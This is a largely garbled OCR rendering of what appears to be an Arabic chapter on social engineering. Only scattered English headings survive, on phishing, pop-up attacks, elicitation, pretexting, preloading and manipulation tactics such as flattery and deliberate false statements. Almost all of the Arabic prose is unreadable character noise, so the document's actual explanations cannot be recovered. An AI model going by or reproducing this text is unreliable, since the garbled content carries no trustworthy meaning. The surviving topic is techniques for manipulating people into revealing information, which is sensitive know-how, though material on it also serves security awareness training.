<jt ^t (_^^tj (J-aL^Jt (j* ^^>^ iS j^^^ L r J JJ J ^ u ^ cJ*^ ( ; iWSa 4 l^C ^^ic <J>it^)i3t ^at^Jjoat t . Ujujj Uui 6(iLiUit iaS ^jla£j ttilj^Ua s-liiSt 
OJJjaJt a a i uj AjuUa cilliA tit IaC J^LaLila ^UjalVt (j-d lAjJC.j tiL <j^al^Jt Ajjtilt J;lJuJt J^^Jj tC^JJjka ^5 L-JjjalJ 

<iitilt 

. JL^sj^U AjaiaJt ajJ j iA^. jit tJifliU! u>n ^ilt j^i^uilt ^ jjjoij dul :(Channel) SUiJI 

-L5 ^Ia1^1 ^ dul tiA 4^ j^t s j-« :(Source) ji^^t 

L p ax j ^t^ct (j^J 

jt myresume.doc c^-^ ls^- USB l^j^ s- 1 ^ .^^^ ^jj ^ ^>*-^ ^Luj AijiJt 

^j^t ^xiljjj a^jSs 4_^judj - ikiLujj cjl^jJalt ^laa o ^jt ciiia Ic jjJj j5^Vt J^JJt PDF <«— il^La .Acl ikl] tillij myresume.pdf 

,Ujjc. (JjjJj ^jjjUlt ^-«juij J£juj 4_iiti3t ojjjoJt (jt ^jxi ^AitL^xJt Cljt^)ij3t ^j-d <jJajC ^^llt J^J 

(The Power Of Communication Models) cjVU^VI ^ij^ SjS 

J ^a^C tAiLljqilt CjIA jJjllLaJt ^j-d j£ -( ^cLdl^.t ^)jJ O (JS djt jl^Jt ^iJ ^j-d UJ^ ( ; ^Jj ^t^t ^_^A (JU-£3jV1 ^i JAJ 

^3^)XJ (jjilt (j^aLkjaiVt 4^Jlst>J ^i jAi (jU-ajVt ^i jaj AjojjUuJ <L^)ia cilliA ,(jU^jVt ^i j-aJ C5^J^ ^ A-laa. 

.Ia^jjj (^jlt dit^tj^Vt (J^axJ iliJV '^J^ ^ J" Q *^ (jj^ 3 J» ^LjJjAxJt tJikSt t^aVt ;4^jj3t ^ j jit 
ciLjjai 6j^Jj <J^J ^aJtiaxi ^gJt L_jlAil3 jt <ilL^xi AjlSJ ^ A \]~iC* ^^Jc ^t jJ ^j^>^ uj ^^ic jj^^Jt j!L<s 6 jLja p^^joi V 6L_fl^A ^.^J 
CjVL^ajVt CjU j£-<i jLk <jU£3t t^xi ^ till J£ .^-^aJ V D^lc du£ ^c^ 1 ^5^* <-!^^ lP 3 *^ ^Ljal] till ^joiJ ^jl jt tc^Mj'S 

(JjJaSt jUl^.t cilj^QJ 6^aJlx>Jt A ^ > >>t j (jt L_fl jjoj ,<Jjj£-<i <ia^. ciL^l (jj^J Ld^C (jU^jVt 4-Aij t flj£ t^i^. c5^>j j 4 uiaaJt 

jia t^tj AjIIjII (jJAA^Jt Jalailt <Ajla , jj£t <1 j^joiJ t^lat^Al ^jjlaJ (jj^Jj ttiL <j^aLaJt 4_iC.LaIa.Vt 4-juj.Vi^t J-wwat jUlt (JJ-b 

.l^jJasu ^ Jalailt -!aJJJ t^kVt 
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(Source) j^aaII 
(Message) <^J\ 
(Channel) SUM 
(receiver) J jVuhaW 
(Feedback) <43Ui*iL 



^eecmacKj euua^ju - 

^jjj ^ s-l jjoj ^^ic <jjjU3I £x» l^j J-dlsu ^^jI! <L^)Ia3! J;nstj (j^-aJ (j^j 6 ^l-^l ^^>^ I^A .CjVIj^jVI ^iLaj J-^l <jujjUui 

jJl CjlaUjaJl ^ ^(-J a'U \ 

I 



(Types Of Social Engineering) AjpUL^V! 4^%SI 

jjojlaJI ^1 hi nml t^jLudjVI VI bUlojl ;^l jjl Aj^Ij J) JjUaj C5 Ic 4_icUu^VI 3 ua^JI ^jjj (j^j . Jbl^Vl jl ^ j^-SI JpUaV 

.mobile 

(Human-Based Social Engineering) O^V' cP! S^Su^aII 4^iIfS) cjIa^a 

(Phishing) - 
(Pop-up window attacks) siaUll CjU^a 

kill cilti] a^jUIo 4jI1^ cj! 

;<J A\ ^glc 4_Ajla3l 4_icUu^.VI <juj^JI ^ jzJi ig^jfi (jl c^I c3^A^^ .^nf^l daLi^ ^j;^ cJ^ (j^ ^ <j A ^ 

jll (j-aVl CjlkuSaJ 

.SMS Jsu- j - 



I 
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Human-Based Social Engineering: Elicitation 

<jjJ jJ*J) £luall jA ljj^J) J J^VI 6^1" 

j jj (Jjjuj 0 ' , j' ^11 j£joul!I l_a jjoiliill j ^5 jiixll l_jjj^JI (ja l_jU£ 

tiilll ^JjJ^JJj (JjjUII till JJ La,jjc -( ^cLdl^.VI J" all (Jjudij jl £Jj^J jl I g j£ aJ jll Sjlg^Jl ^^A AJlxAj (JjjUII ^jujJ Jc J^Ui (jj£j (jl 
^ill La ?liLJ ?"^akjaJl 11a t . l^j tCjjxjujj La uj diLlS .^J> >ii j-all (j-a .JjAaJl ^jfl (jj^JJj 4-^l^lU Ij^A? U' 

4*1 j]| fl^j 4J] jiuj j]| AjLjLII ?4lalujl>l dul£) ttSjjlal! j*^ cSlkaJ Alxi 

dljaJj Jjill Jc j jl^j^a] JJC (j-a j tgJ AA\ jJaj jll <Lj]a3l .i^L ^abaJl CjUc jll j jl£flVI "^cUj J" j^JJ <jl J^ LaJj 

4^1 JU 

Jj^aill li* .kj-y ojllk^U ff 4S5UJt *Uj ^jqj<" * jaJl li* jc ^JaUli V .Sj^SlI cillil jila ~y~~ j tSUi j* oiiluiVI j£-aJ 4j1 J^i jVl 

t^iaJljLAll j pUiaVl tilliS t^^clxLL^Vl (Jjj V^ a\\ t jjcjLk-all JL^JI t^jjjjjojl jaJI Ig <vv^ Iujj ajjS ^-uij 'Elicitation J j& 

^Vlml Li,jjc .Sjlg-xJl (jlSjV A^IaJ Clljli A-icLdl^Vl <JUJ^J| J litlall jj£j (jl Jl rt^ * jj^ j' lj£ lijj 4 jjjtall (_£,jii<i j 

.<Sa1o ^uljj iaUiLajl Elicitation j^a 6 J^ 

^Elicitation 

l^ijjsu ^jj ttilli j^ Vaj .^ivi^l J^lk j* (JUl<JI Jc- t<ajiaJl) ^UiLujI J jj^a jll jl t^j^^K u nl jl ( . 1K ^Paj Elicitation 

(jjjUll Jl <j> jj* jll 4_liuiVl <6U^a <lj <di Uixi Elicitation ^ ikU Jc; Ij^lS jj^j* <j\ .11a ^^jju Uua 1^ j£a 
^ixj l^i aJc.Uj Elicitation ^ tilj j£ ^p*^ liLa 4 c _^cL<Li^.l ^.v^ .t^jfi ls'^ ^ jIjuJI Ju^* iLiJV jji^j* j ^^j^ jil 

^a^. jJaj <^J>. j j-Q .UK ^J^. jlLobQ Jl ciL 4 > <al ^ \\ djl jl^Jl ^ jlLobG j-o j jsu AijjIaJ <11ojVI J CjUJ^II <C.Ll^ (ilj£ aJ <j| 

L_A^JI (JjS <jL^.VI <ajs^ j^.1 ^^-ix-AJ jl) <*-i^JI &jJajjj L_iiL J£ Jc ^j^jll ^-^-jj a K aj jjif^ll Elicitation ^ 6L - j^ 3 ^^ 
Jjs ^ ^^kiaaj <jV Elicitation ^* j* j ^ j^^^ u*^ ^-°VI Jl s jia^. <j^11a1I ikl ^jl 

cjU jlx-Jl JaJI ^Ij^IujVI" <jL Elicitation ^ f 6^l«JI cjUV jll 5^ j^^j 3 ^aUJI ^ jail j^Vl aJI£ j ^jiill ^1 j^ J 

L_jUJVl 5JU-a t^Jaxll" lJ^JI JjIj ^1 J Cj^j jl I^xj Aj^U^II oi^ jl dii^. ."<jjjjj j^jj Aj^U^j ^IjSII ^U5t 

ixla» a J .l^iLujj^l l-jxj. ^ij Ullc. j jiaLk-<JI JJa I^jV cl-^s Elicitation ."u^ 0 l^^ Jj ^^-j^^ <ll^a 44-LJaUjll 

_<lla\_kl| U| jjl| (jlasu lilljA jl J j^. j oUloil cilUA jl£ jl J^ .l^-Lo CjUi jlx-<Jl L_JJjjaaJ ^L^. ^ > >ia dlS j (^1 J L_ fljsu V L_fl^Jl tdlS jll 
^ a La jj^ (jjjUll CjLg jlx-all ^-Ij^JjajV <J^L^a11 ^^^jjIjJjujVI ~1 I^JLujVI 4il Jc Jlj^ill Cjtfljjaall ( . n£ o JjS (j>» Uiajl Aijjsu ^jj 

_^_j| J^JjujI ^j^j 4_jU jj*. uJ I 

:ujUujI SjxJ l±a. jja Jluu Jaju Elicitation Jl 

^UjslII 4_LlLi ^ic jj^kj t^liialj (jjJ^xi I jjj^J (jl J <JC-jll ^J^l (JjjUII Aia« a 

^lc Jc IjJ^-SaJ (jl (jj^JJ (j JJ ^ A ^ 
.tilli (j-a jj£I (jC c ajua£Jl liA (jC jffi U^ 1 ^^ L>^ J c — J '^-^ < — * ^ ^^UjjVI ^ lit 

.C_ji£ll J^j (jxi V (JJjUll - 

,^-ilc J^H J(^ c5^1l (j^aLkjai^U c . U^LolJ (JjjUII a 

(jjii^iL (jjill (j^aLkjujVI Jc <J jj^^JI .1^. ^i^. cJ^*^ lU*^ Elicitation ^ J ( . ^ J^ o cJ j^- Aj.t.»Lt.»Vl J-al jxll 

(j^ lW^^ doUi jlx-al! ^A^l <Ljia ^ j^ll I^a ^SLj .L-jLa jlst-All ^-oj>. ajLqju iaii j>»j 4jLau* Elicitation ^ ^-^0^-^] 
^^jj <Ji^Vl J*^ Elicitation ■!> ^ Elicitation Jl ^ jW^j ^j^) solid pretext l^i^l 

.<J1ojVI Jc <jU.^U 3jJ jIU jxAj lJ^JI Jxj> j 

^j^j (jli 6(jVI J^- Ujja jj La£ .(JjjUII (j^ j^ (j-« doLa jix-all JjJaal (j* (j^asu Jc <J j> ^jL La J£ jA 6<Likll j <iajjaull 4j^L^<JI 
^^iLaaj (jl (j-^j ^-^lj tdjUi jix-<JI £-<^. -jj^I Elicitation Jl ^ V ji^. j-«l ^uUill (j>» j^a ^ - gaSi (jjiaal ^ jjja jj l_aI^aVI 
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.<LujjjAxJIj ^llstxJl 4_^jJalj ElicitatiOIl ^ J^ ^ <J^ .^lA-a jlx-all Jc <J gaaJlj 4tiL 4 > <a1 ^ ^JtJji ^tJjajjIi] Uiajl 

Elicitation -11 ciui 

$.1 jxji tL» e-lj-^j il^j) t V^ll (j-o ajjj ^^Uu^-VI (JjjV^ .lilal^A) ^^a Lft LauJal j lajjia c^laxj (jl 4 j£ <aj Elicitation ^ ^—^j^*-^ ^^j^ 

<jl£ ttill JiilftJ L_flAg_II Jst^J Sjjti^ a 4J&ia Jl Jj-t^ jJb ^U-uJI JL* jl Jlj-ui Jp Jla *t j^VI liA jl£ 

. jLuuJl tigJ Ufl^Jl J;ii^ IgjLi (jxi jll j f I J^l jl 4liuiVt 4luilui JaJ ^IxU^VI (Jjj V^ all 

^j^j jilxj V Elicitation ^ j .f j^-^ j^' 'W*-*^ u^J J^ ji*-*^ ^j-^' .^UixJI ^ CjU jl*^3l 

(jl£-a J jl 6 C>5 ^LJI < laJl J AijstJ V J ^ uJ £A dAjjla &J I^jS C-LqS J^J ^ Jf^*^ J CjIjxJI ^^C L-jL J ^3 .1^. ^^.Uj 

.1^ JUi 4i j£ J t ■ UjuJI j& I^A j .U^JJ 3 IjJ^ J^C. <L JaJ <Lq,Vn U >1J J EUcitatiOIl ^ J ^J^* UJ^ ^-AjJIa^ 4AxA£3l A-l^^-LoJl (jl 

iLujI^JI cjIx^a ^jaxJI 5J j^oj jg-laj ^-u^ '77ie Hustle J^j^' Jj^j*^' J ^^ l CjUL^ <j* JjVI AikJI J 

.Aia. cJ^^ c5^^j s- 3 j& ^ t * a ^^ electing ^ <jL^LujI Igi*^ ^ill 

V UjSI j t^j^VI c_jc;^Ij3I j (pretexting) ji^Ji ^ t3^^ j& e>'i& -c ^Ui^VI <jjj1^-a3I 

djIjUijj tAjuoaJl aJlS ttiL ^j^aLkSI (pretexting) j^^^ j ^^j^ ^-W^j^ uj^ ^ 6jj£U3U .Elicitation ^ ^ ^ JalaJ ^jl jj^j 

J I1a ^jj^ .aj^I^JI yi c^*^ 3 j' j* ^ uj^ ^ ^^^-^^ u' ^-^3 *yr^ ^ (Be natural) tj^jjh .1 

jl ^jlaj Aj^U^JI tilt Jj^un jl£ lij .<jc^ jjjill 

J Ui ^jSa. <UjL^xi lie till AjjouIU (Ia J^J t flj£ — A_>Jaj) 4_ilai3 4-^^ l!^ t ^ .tillla^.^LoJ (Jj^^a 

UL^a j I^£a j ?djlj^l^<JI J L^t-nJa I j^jj c Aj£ .Elicitation ^ o^j^ < — * C5^^ j j^-^ ^jj uj^ 

.tda^b ^ cjj^JI aJ^ (jjlj cJjjoi U J^ Ai^xJI uj^ (Educate yourself) -aJp/uSSj .2 

jlixJ Jlj^ll jjII Je Jj»^ll Cj^jl lij . JU3I Jllall Jl jlajli t*Ui ^LJa . jSjsu Ua j&\ jAllaJJ V ^JJ>^I <> AS\ 
Jc Jl_lxu£ jj^ ( . \f\") V tUjUxu£ LjAaJl f.Aj djjjS ^aJ t^cjloJl J (jj^jLuLoJl Ul-^J^J^^ L>^ J ^ (j^aLkll L_fl^Jl j 6^jjoj 

.Elicitation Jl ^ j 

J^Axi ^alc Jc (l^^JI) tiljU J Jj3 j ^XYZ U^J^ J 5 J 2 ^^ J tiljU ojfkj <jl jA j Aj*^I j UJ^ ^ 

JUIUj ^CjUUVI J^ J jj^JI j cjU jkJI J^ J jj^JI Ui^JI 6 JUJI ^nJaj (Don't be greedy) teUla/l**i* 6^ V .3 
(jjjaljj L_a jjuj) (reciprocation) aJ^Ix^J! U» IIluj uJI ^UacU tLJlc. ,^UuaVI jjoj l_a^JIj <c jjoij 

Jc dlL A3 t"<<< )ij (j£jj ^ftjojli tAj^L^xJl Jc j^^J (j) ^Ijl lij ,Aj ^ a oil Jc O^LjjaJl ^JJJ uJ ^xi t^i N^ll t"n< jij *^j 

4(_^c.l l-jIaIII a jjl a <ij IcUJa jl 1 t Aj^L^xi (j>» ^jK.'"^ CP" ^JJ^ J CjI^j M ^ A\ q\ ^Jiilj iA Llkll CjUL^VI o^su 

AjJa ^Lua lx^» 
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jt LS C>\ aJaJ (jjjJi^aS Ja^a (JJjJj 'Aj-a jJl (JjjUII £A Cj^jII ALjIa JJJ*J I g j£ aJ ElicitfttiOIl CS"^ L£-^jH C5"^ L - J -^-^ t — ^ J^*^ oi& 

_ JcrVI ^3 0jj£.laJl 4-J^J^t <*-lt J^*^ jxa f ^ ^Lual \y uJ Utj .(_£^tc (j^aauu£ j^Jj ' j-«Vt CjULud^. ^Axa 

jl t^ 3 gK a *t jjoj d^UJI SjJajlt .aj^U^JI J!^k aj> jll jjjUj j& Elicitation ^ ^^-Sl s-ul jaJI ^1 < JIIaJI 

t^Uu^Vl ^aJC- J£-IaJ Aj*> jJt ClltjJJXJ j JjuaaJt Ajl! j£3 j Ajjlfc ciSjl dljl£ tit .(-*VlVnn) ^^ic (jJilt (Jxi Jj AflJjIa ^^ic JJjJ t,JJ> A-lkjluixi 

,c*Ui cilj^j ^1 jl tj^uill A_iaJ jJt AJUJt jjJj jl j£*j 

IgjLau^al j L_3^£3t <J*^ ^jtaJ jjjJaC- ^j Aja^»La> jAij ^^jJl L-Lyl^Jt ikb Cilia .Dog Whisperer 'f-^U Ljajt L_fljxJj t j^b-a jtj^-uu 

Ajjj£ ^jjjUlt ^aisu LajLoat Ajt .^.t jjoj Aa. C5 ic t^a. Aja^U Aa^lc Jy^l l_a jjoj ^^llt j Ajj^kjaJt CjLqjoiII j* 4j>jJ ^^-Sc $.t jjoj Aa. ^^ic 
Lgj j-ajt ^^lilt j iasu jl£ ^^lilt ^UjaiVt j-a SJaJ j jt L— .lg a£\) ^^jlt 4Jl131j ^Ujait cJ*^ jf^j cJ-^ j> ^ ^ A .) <■ ffi t^-ilSlt l!*^ J^ 
jj t . iKlt j* lS*^ (j^a^Jt jl£ tit ^j^t 6jU*j jt >jKlt <alla jt "^ jj" C5 lc jjjj ^j^i^ > f Mt <aUa ji jjlt" jl ^ LdU»j 

# jii£t ^fjjj ' jjj L-fl j > <ajj c . iKti jli 6^. j^a CjUJ^Jt ^AaJLujt jl 6 u^^ J 

<jalla jt jj" jli c fl^Jt jxi L_JjJflJ c _^cU»la.t qxX^ .(^fSajj 4ijuili3t oi^ jt ^fljct j£3 j L_J^£3t (JIa L-bou] (jjjUlt jt t^jJat jit jxi 
CjLJ£3t ^aJ j>»j ^ jilSt/^ - ^ uJt ^t^cVt t^jjjUllt jit Cjtjjnsu < LudaJt AJtl J^lk j>» 4iUa3t JiLdlij .^aa uJt SjiaJ ^^ic JJjJ ^—fl jjuj 
^^jlx^j J^jlt tiA jt" JjIj ^A^t CixAjua jt Cjj£a oi^ Jl<» -Liili (jjjUlt ttiUi t jSjsu jt jj^ .^lli AS jjal^lt 

?"Uu]J ^lt tiA jt" jt "?j*^t 

jxij 6<LLaJt L_JjLaa3t £A CljULnlt tillj -laJjJ ^ajL (_^i3tj t" jlT.uil>.>iVt 6j^_a.t" ^t 4jJ AiUalt jt ^akjaJt ^JJ cJ^-J^ ^ (> — ^ ^(J-^ L ^ 
J ^Uall J^J Ui^ic tiL <j^aLaJt Ailklt jli t^llil .^Uij t J^JSU jt jjj SAJ^C ^tjxi ' jjilt C5 Ic lilli jjlxij (JJjUlt .^aJt Jj£ uil ^aJJ ^aJ 

515 jj^£ <S j^oij L_i*ilt jx iA'&<;\ V ^VnlV. jt (4n>^^. : n cA£ tit .-uxiil c_iAti c^jt ^ilt jj^lt ^ jjLkia jt ij^ri Elicitation 

5lfl .A^^Slftll CLjbjJaUjlt jt ^Luu^lt Jlft 4ijx^Jt ^aa ^ tiLJ ^jjjJ Clljl£ tit tbj^a^i .dUjl£-ot jx» tiLJ (JacIs .tilli Jjl^J 

j>» (J^asu iLiJt t^t^Jjoj^l! dijjlkt ^^lilt L-lilLoaVt 1 a$ a .f-UjuaVt (illj jC <»-flJ*J j^i^^ (J^al^JujVt ^ JJ 1 ^^ ti^ L-Jx] cJj^J 

.preloading c- 5 ^ j^^^ 6 ^ *^^^j cS^^j .y*^^ ^ ^ j^^^ 
Preloading 

jUiilt £.tjJa3 JJJ^a <— MJ dut .<xi^la3t A^iVt ClilL^aLi jxi ^jAxJt ^JJ c_fl jjoj tiljli 6^10 -} IaIjjuJ Sj£ij ^.tjJol JJjUa ^fl LaAlc 
<LudLai ^a^flJ ^aiiilt t^JJ LdAjc ttjjlkt .AxLi C5 ic jj^^J] tilLjJa CjA^j) ^aJ tCjlL^alAlt j-d ^jjxJt ^5JJ <— S JJuj 6^40 ^}} A } ^^JJ*^ - ^^ J 

^ Iajj jJt jt "...^a^laVt ^jiat ^" iJjliJ ^i^lt j£3 j 6^3U ^clli ^aJ ^IsVt oi^ UU^t .^U3t ^ilflVl jC- ^lallttll j^ 

.^a^liVU (j^liJI trailer l!^ j^-^ c^* - ^ -"s-^j ^ ti^ jt j^iii jjoj ^lili " t4_JjUi3t 5L*j < ajj^JI L_jUjjalt jUl* 
t^jj jt (JjS ^aiiilt ti& jc ajs j£ij jt t . 1^ j ^ilt Ui preloading 6 c5j^^ ^jW*^ 6 j*-^ ^ ^ ^ jjljL jja jjaixJt jli t^Lilt jl£ Ut 

S^jujUx j ^aliilt 6^aLu1a3 tili^l <JC.j3t ( ■ iAaJ ^SalLo till J^-laJ ^aJ ^llilt <JC ^K'n (_^ilt cill ^jiajxJ ^jla^ 3 - l ^ JJ > ^ *^J^ ^ .lP 3 ^ 3 ^^ 

jt 4L_ic. jit tb^ixi j£Jt Jjjj ^^t jjAU^Jt 

djLd jlstxJt jt jl^aVU c flj^iaLj Preloading jj^ 1 ^ ^ j - ^^ ^ j 'preloading j^ I j^ ,j ^ u^^^ ^jtj^lt j^ jjj^Jt j^.jj V 
^JalLJt 6<JH<Jt cJ^/i^ i^t* •c3^j jujj ^^ lS^^j ^ preloading ^ ^.^i>>n Ui tjjii£ w cA^ jlstxJt (j^asu ^ J^lxjlt ^ Lq jjjj c aj£ <J 

-C 5j^Vt AjLjjoajlt ^inl'q^lt jxi U JJC. j ^cllaxJt CjU^lct 4^a5laVt jC AjjlcJt 

^preloading ft±kl^t dlloj uLS ^ 

Jt ^ lJja ^L^i jj£j ja jA U .^tjjlt j^ J^xlt j ^tjljjlt j^l j^ Ijjj jt ciiixi tAj^Ul^Vt ^Lojl^Jt fJlc^ ^ jUJt jA U£ 

jjjju tilJc. ( . ia>j t jl£ Ut .<! <ja.li<i jj£j* ^ jjoj cijljjj jt <j!c J>i*j ^ jjj^ t^^Jt j-<i djUi jls^ ^gJc J jj^a^Jl Elicitation 
preload ^ l^t^kioat j^»j (^ilt CjUi jlx^Jt ^ jj U» jj^j ^is j>»j tl^Jl mi jt jjjj (^lilt AiioaVt ^ jj jj£j jt ^IjIc U31j .Vji l 

.<llujVt tilti jc 4jLa.Vt Jjjj j >* C5 J t c 
4 >^q1t tjJJ jt ^aLaajjVt ^ tjii J3 CjJ^J tiU "IL^ A^Ja^ 4 > ^ai3 JjSt jt ^J" | JjiiJ (JjJj^a 6 JlAJt JjJjoj 

^<j£j]t Ixi jld L— lj£ <ajjaui Ait _til^jJaj3 Aj^jilt jhTn j 1 ^>>n^ jJjj til tl^jajJa-a Ijjjoi ^uujj jV L_jajj3t j 

6jl^ ^-tiaj UU^t tAij^Ti^ jt Ajajjat j l— bujjj Aijjiaj jl^aVt jt jl^aVt ^jj ^^-Sc tjjli jj^j* jt .l^jti j^ ^ ^jW^ ls^ Preload 
L p a *j (jjiiujj ciu^ .ajUU jj£j jt j£^j Preload ^^Jt c_jju^ a^uxj tdjlijVt . Elicitation ^ j^ j^^ 

.dlLxi jlx>Jt j-a c5j^*^^ ^laklt (J^axJ jt l&JjflJ ^^jlt CjtjljjaJt j-d ^ jj ^t Aija^a Jlxi jnuij^ jj^J J3 j tAaUalt j 
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(jjji^JI ^ j^j CjI .Elicitation ^ c> ^tii^V! j£*j l_L£ J J&\ < -*N»->j Preloading ^ ^ j^ j* 

J 6<1^joj (jjjUll ^ <Jcli!i3l a^j aAaA J .ajcUu^-VI ^LojI^JI sL^ J) Jj^Ij jl <J^ Preloading ^ SjW* ^ c ^c.L<u^.VI 
.^gM *\a jc (jji wij (jjill j c.Ui,i^V! j-a Ac ^ j^j* j& j^ .^IjW^ 6 ^ ^Aaajoaj ^1^*31 j^ <-!^ ^1 (3^^ ^—^ j 
Ajujill ^ ^LLjj jl t . i-vj cJ^j JIjjuJI .t^judll t . ujuj Lqj y& t^jjjl j^3lj (j^akjaJI jcLl^ Jc ^jlaii Preloading ^ 
^ t> j 'Elicitation ^ ^ .ajLl jjjj jJI iiScVI (3^Lj jo JLuj jl AAc Ja*j Preloading -SI d*^3 ,c*L 4_^UJI 

lc jL da y ^ 

Elicitor £^ ^£ 

: JVI£ Elicitation ^ ^ <J^j* J^ a^JuJ^\ j.^UtJI jl ^1 ks > a I <AiL^i3! c_jjI£3I Sj^k j* 

."^yJt-lfla J^C." ^ill j £jJa j J ^1 j!i3l ^a^C j <JjjU3I Jl Cj^aall Aic L_fl jk3l ^a^C 

.<jjjU3I Jl ^LqIujVIj ^LqIujIj <Jxil jl ^jjl Ul .^ijsu V j3 C5 1^. t^Ul! Jl JjI^JI ^Uu^VI ^j^j 

. J°/ Q ^ (J^ UJ^ ^'^C ia^a O^cLolxJl jl 6Jj.ui-.ft3l ^aJ^ 

.^Kl uLd jc dlpaJl He (JjjUII Jl ^UIojVI 

J! jc L_±iS ^ jij (DHS) y^ 1 ^ s jtjj s^UI cjUV jll J .Elicitation Jl c 1 ^ 3 j^UxJI ^ dIa 

Jajt jll 11a J^U ^ J jj^JI ^31 j l^j^l£ j Jl Elicitation 

http://www.social-engineer.ore^ 

jJC-j tl^iLoU^I 1^. L-Jxj gall (j-aj 6(J>uu l^jV Elicitation ^ ~t I^JLujI aJJ 4^jjjLujVI J .S jllLuJl CjIjjoijxJI (J^asu Jc ^jliJ ( . 11a 

(Appealing to Someone's Ego) u ^n<tt j^aII Si«LL» 

" jA 4i*il U J£ .Aj^aVI cSISjj ClLuJ JilSa j jilj filJA Jjii tillo ( L]a3 I^A i^l lj^" :<-i^Jl 
lil ^j£3 j AJj3 obi ^akjaJl JJJC- frluilirt <Lj]a [qa jll Jc 6 ji^.1 ^j^3 A !njuij j ^akjaJl JJjC- S>1uj11a11 <jli^ <LjJa 

.11^ (JA ^jjjUII Jjij Jl c5^J^ C-H a -^'j UJ 1 ^ ^ g 3* ^ jl du£ 

Lo£ tl^jl Cj^j ^jSj ^3 Jl! Aj^La^JI Jl J jkJU j ^ ^Ual \ * ^ <L13I <LLa^3l .^Ii3l jl jj*3I t fll&3l <Lj]a3l d^a ^1 i^IujI He 

_^C>1 al^l j" 11^ <i£ 6^JJJ iaJjJa3U j& 11a j t^^^iJa j3l (j-<»V! Sjl jj ( ; J ^L^. 

(Expressing a Mutual Interest) 4jHa1I ^^Vl Cfi J^*^' Jfc 
reporting engine J^l c> c?^^ ^ISO 9001 J ^'j^ A?.^ 

"4_kjoij Jc Jj^a^J ^jl L al3l I^A Jc J jj^a^Jl Jc o^clui<J! 

. "liftUaj Jj reporting engine s j£a ^l^klaa! ^3 ^3 .ci!3i ^j! jl l_±^I Ui" ;lJ^3I 
Lo uJI jjjc- a-iualirt j^ s jS j!i£l jA djli3lj jjjIIloJI !1a .elicitation cJI 4-^1 ( ; ^ ^ ja J^LiLJI ^UuaV! jc Ujs^ 

<Lc.j jc 4-jjcl ciii^ * A\ j>» ^cxiljjJI <J jj!3 ;(JU^jV! j-a jxi Jl (_^^jj L_fl^JI ^jliiil . JjV! Aj^La &3I A^kc U» Jl ^il<»j 4iV 

. j-^VI J^-aj ^auJa J^Lkl Jl c5^JJ jl j^J 1^ . cJjjlaL<i3l J A£jJa3l ^cxil ji3 jaixk <j^LLq J 

tlgJLujj! ^jj J3I djUi j1»_a3! ^ La t<LLJ! CjI jl*k3! Jc jinj>>ij <jI .<LA£J! ajJa^l 4jJ ^1^_a3! jl jA <!LaJ! J j^k3! 

J j^.j j-«j 4(J^.V! ^Jjjia a£jLula11 lLu^S lil tjL^Jl A »-niaJ -c ^cUu^.V! (JjjA^a33 l^. Ajj3 ft j^>^ li^ .l^j^lcl ^ali J-aj tl^n^j 

Jl <_£-^jj j;ix3lj ^al ikJLuj^U <Lli3l CjU^jJ! ^ajujlij . jj£I Hi ja Jaxj jl I g uj jxj 4^jlab<i jj^i ji j^Aj Ji3! 2^1^31 j^ <*iaa 

.^al jl3VU jjt-ui3I <jJ L_fl^JI J*^j 6Ai!)U3l ^Uj 44iS3l ^Uj 

(Making a Deliberate False Statement) I*-*!* J ^ S Jlib ^ VjVI ^4 

,l^_J jl^JjaaJ V ftJJj^ ft j5 jj^ j' clA^ cA-IjuAc ^cjllj <3 jj^jm 4i! j^JJ jUj ^aJ^J 

."j^jVl Jc CjU^jJI jj£I ^Hilj duli XYZ ^j^ 1 ^J*-} 

Jc Cji j^jjoj! UjJ CjUj^H d£L^jai j 1 1998 J JjUui ^clLd ^ij lli^jJj CjIaj c : *n^> .1 > ^> ^jjjJ I^A t^l j3! J" ;c fl^Jl 

."%23 

- ga!L jj^jli ^jjjU3I ^xlaa a .Ajljka ^jlflj j-lfi3 L_fl^J! j>» JslS ^j jjILoiJ jl \ g i£ 4 j^J Jc du^Jjoal lil tdjULlJl 

tAijstxJl jig-la] ' jJJ^-V! ^^1 J 4JC jit jl j^ . a 1 ^ l^-j! (JllUSV ^5'^^ J 3 .Igi jt.^.>.>ij LdHc AllaLaJI djULnJl 



811 



Ia& ~1 iklLaai tilj£ aJ ^ jJjIIluJI 11a l!*^ <J' *>A& ^3 .^jjjuiJI A aUflall J SA j^. j-a <-gjuj g.1 U^Nfi ^ ^Loullj 

/JQJQ^ £j1-9j J ^—3-^-11 (jC 4_L»l£3l (Jjj^alilill t . La uil L_J jLujVI 

(Volunteering Information) Aj^ jkiJI cjUj^aJI J_ 

L-flA^Jl Jfa»J Llijaj 4j^L^<JI J dlLa jl»_xJl al^l (Jjj.V^ ^ .^£JA1 Li* 4j> ui *Lgjuj <J j^. aAia. <iakj Jc j^J DHS ( . 

jjoj Aa» Jc* » lii a CjLq j1*-aj ^jll 

^aJ IgJl l— Ulajuj jj (jC 1— Ulajo) <J&" 4 <JiLa Ujjul <J jSJ (j! L_J^>^ ciljUiAj^l £A UJ^ ^•^C <Ld^ta3l 6J-<Jl J !^J-<i ?li& L_JJ^J (jl AjJJ 

(j-a Ajj-a ls^" jj^*^ 'Oj^ 1 ^ (J^UjLg j (J-axJI (jx* 1 g ^j^jujj 

J^l 11a (jxa S^t&udVI ^gC^ (Jjj V^ <^ t^Vi^j ,4JjUui jlikVl J ^P'jft J) (JjjUII (jl 4i j^xJl ^-ijLudjVl J^l (j* 

.^al jlilVU JjT.ullt ^Ujj Aj^L^Jl j-G jl 4_X1SU U >t1 

(Assuming Knowledge) 4ij*-^l u^lj^l j- 

^1 g A\ (j£-aJ .f^-*^ J**^ <jujjUxl <U jji-a l^jl t4 m a <ULa. (jc 4ij»_xi 4ja3 (j^akjuJl Iaa (jl ^jiajiiij (jl £jLuJl (jxiS c£j^ Sbl 

j^joij ,<! Aj^L^xi pliJ elicitation ^Ia^iLujI Igijau j& ^JS jl CjU» jLlxJI ^ja£j <J!)lk (j* <L^1I daa Iax*c J^^lxlajl 
(J£juij ^jJalL (jl (j^j jjjUjjoJI I1a j>JI I1a (jc ^iij Ai^>stxi cilLftj (jl (jl f& e>\-±* <L^al l^a^>xj (jl^ L<^ CjL<» jlx-<J! 

JUUI ^ J^al 

jjoj ^^ill 4^jjoJI (jC Ai^stxJl (J^asu Jl 4_^.La. J cs"^J J - ^^ *^J^ <aL^a Jc (jiajlillll (jjj^ll Jl U&li L_ ll£ dll j 

